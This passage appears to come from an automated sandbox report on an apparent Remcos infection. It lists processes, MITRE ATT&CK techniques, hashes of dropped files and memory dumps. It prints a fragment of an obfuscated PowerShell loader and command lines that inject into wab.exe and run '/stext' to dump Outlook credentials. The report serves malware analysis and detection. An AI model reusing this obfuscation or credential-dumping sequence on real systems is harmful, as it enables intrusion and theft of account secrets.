rabidi4 SecretSVennekrtgal.erirSigtendiPhyl opnInpour gO,eocys(Ammerne$Aco.misRHandlekeFen,eril So bereManasquvRetireeeBoutelon Deas.itPaamind)Telegra ');Brugsprogrammet (Ligningsanvisningerne ' Oatydy$Trije.sg ModerllheemraaoUnripedb DiminuaDepositlslotted:Serviett Polysua BrochamCointere CaractiFedterinWagweno Dag,sta=Sacromo Temulen[RavenouSDi,fusiygenic,ts Ko muntHelc,ideChefposmsp.ctro.UvenskaTPi sedaekongsgaxTartarit Plough.Bossa.oEDom.fldnconsolec Fungico NaturldPjaskeni Libe tnO.erthrgUnsacri]Gly ure:Uncu,be:BanderiANonecceSStrygerC IchthyISystemeIDraftin.NonfragGIllessrePent.grtInter.eSPipinghtDigitalrmalefici,altedenJuggledgTypehol(,opulis$ObservaVOmkvdena raa,linFoste,idVenomi.rIndbygg)Coccusa ');Brugsprogrammet (Ligningsanvisningerne 'Nonspor$KalvestgKolonielOverflyo flsserb ,homboaRostrallfragt k:ElectromReallowl azionakwiltslaeDirplusk Vit igoFrilgnin EftertsTress,eePerik nrKlevognvHandelseUgenkensStrammef.arnsseaFjeder b rskninrLagerlii.megabsk Fe.tilkErost,aeTaurocorAret abnPoetryleKnoglem=Toluidi$Afstaaetdisambia UninvemFodbolde FyrassiAdelsslnNonfact.RboensbsMes,speuSu,trudb PopulasBagtipptFolketirJernrrfi Rebusin afple,gVildska(Bonbonn$TregrenVSocio,eiAnarchad Trav,leRdderl.r Propfuv exapodrVandrefdO,erstriHem.secgTheraphePont,ne, underl$ AziethSVoic,prnOpmarchiTrdiagrgDiapalmm faglityStedsndr Svirved Ted.ume ResortdFolkmoteSlambehsNoakine)Ampulet ');Brugsprogrammet $mlkekonservesfabrikkerne;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4456
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Lnpauser.Whi && echo t"
      4⤵
      PID:3996
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1128
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\cfjjrjmhjwtfjukpoxrdxwzmfzdlvgp"
        5⤵
        
        PID:1472
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\cfjjrjmhjwtfjukpoxrdxwzmfzdlvgp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2800
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mhotsbxbxelktigtfhexibmdgnnmwrortr"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:1700
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ocumtu"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4196,i,1999448010053300448,1112699187621658374,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:8
1⤵
PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 038e1091d31e4e980dc74cc591a7b467f461bcecbdd19edf40c12455a4bd8cba
MD5 24a34600088b330d41aa0eb050d44f4e
SHA1 3c7fdc72d5611af2d1c1b89a991533b503558223
SHA512 83abce5d03da610400948ff05c26af3f98ef0d2e96fb0dc1eb35061ead9c93798d235443f1a160db0848115106efc2256261a1f5d04a2324ac2a7075c47142cc
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_zj2veoyk.mjb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zj2veoyk.mjb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

cfjjrjmhjwtfjukpoxrdxwzmfzdlvgp

Path C:\Users\Admin\AppData\Local\Temp\cfjjrjmhjwtfjukpoxrdxwzmfzdlvgp
Size 4KB
SHA256 2967c8bcad47ab6cb88bf5b60a3a75b49f471a943d33c9b69aa7bfe1b763cfd2
MD5 91227a2f05c7f74f6ebd1535a3f05b7b
SHA1 1ce317a272d67e3ac284948e49e6bc0acaee2e6d
SHA512 9ff9f6d2fb2880812fce42b91388e8b825483bb2df0976b9c630c397fed68f3625f4ba32d65933de0018b6e18554315152a1df00c98313d19612403076079a40
SSDEEP 48:wvvv0IxfvvcIxfdvv0IxBvv0Ixakvv0I7:mvRxvZp1vRPvRbvR7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Lnpauser.Whi

Path C:\Users\Admin\AppData\Roaming\Lnpauser.Whi
Size 494KB
SHA256 59e6d1046b16283769943f531b27a79e946b47a1fa8e889f69ec165b92088385
MD5 c28d6b2ceae5dffd7a142c049d5b4d30
SHA1 345331b6ef241644eb175f84d395ed8eb9d5535e
SHA512 ea75770ea523290f2fb4e7dd68e9b1f0f2a216e778467ebb5d2bb994237447550d16802c18722c80f0ca08bfe4510220d933afd1ab890af114c13aed2c7c1a37
SSDEEP 6144:GgkmLGGXvNqJe/h3Nc9jdRjTdw5oOT4sv+G5m+PjD/2huNlDFVbp5xdJ:GglGoEJuVNc9TlqpT4+5mSjDe4l5vb
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1128-81-0x0000000022210000-0x0000000022229000-memory.dmp

Download

memory/1128-78-0x0000000022210000-0x0000000022229000-memory.dmp

Download

memory/1128-91-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-88-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-103-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-85-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-53-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-82-0x0000000022210000-0x0000000022229000-memory.dmp

Download

memory/1128-106-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-99-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-46-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-57-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1128-109-0x00000000010A0000-0x00000000022F4000-memory.dmp

Download

memory/1484-64-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1484-63-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1484-69-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1700-65-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1700-62-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1700-59-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2800-60-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2800-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2800-61-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4456-37-0x00000000064E0000-0x00000000064FA000-memory.dmp

Download

memory/4456-34-0x0000000005F80000-0x0000000005F9E000-memory.dmp

Download

memory/4456-19-0x00000000049C0000-0x00000000049F6000-memory.dmp

Download

memory/4456-42-0x00000000089D0000-0x000000000CCAB000-memory.dmp

Download

memory/4456-40-0x0000000008420000-0x00000000089C4000-memory.dmp

Download

memory/4456-39-0x00000000071D0000-0x00000000071F2000-memory.dmp

Download

memory/4456-38-0x0000000007240000-0x00000000072D6000-memory.dmp

Download

memory/4456-20-0x0000000005130000-0x0000000005758000-memory.dmp

Download

memory/4456-21-0x00000000050D0000-0x00000000050F2000-memory.dmp

Download

memory/4456-36-0x00000000077F0000-0x0000000007E6A000-memory.dmp

Download

memory/4456-35-0x0000000005FB0000-0x0000000005FFC000-memory.dmp

Download

memory/4456-22-0x00000000058D0000-0x0000000005936000-memory.dmp

Download

memory/4456-33-0x0000000005AB0000-0x0000000005E04000-memory.dmp

Download

memory/4456-23-0x0000000005940000-0x00000000059A6000-memory.dmp

Download

memory/4856-44-0x00007FFFE6240000-0x00007FFFE6D01000-memory.dmp

Download

memory/4856-52-0x00007FFFE6240000-0x00007FFFE6D01000-memory.dmp

Download

memory/4856-4-0x00007FFFE6243000-0x00007FFFE6245000-memory.dmp

Download

memory/4856-43-0x00007FFFE6243000-0x00007FFFE6245000-memory.dmp

Download

memory/4856-16-0x00007FFFE6240000-0x00007FFFE6D01000-memory.dmp

Download

memory/4856-15-0x00007FFFE6240000-0x00007FFFE6D01000-memory.dmp

Download

memory/4856-7-0x000001C04D320000-0x000001C04D342000-memory.dmp

Download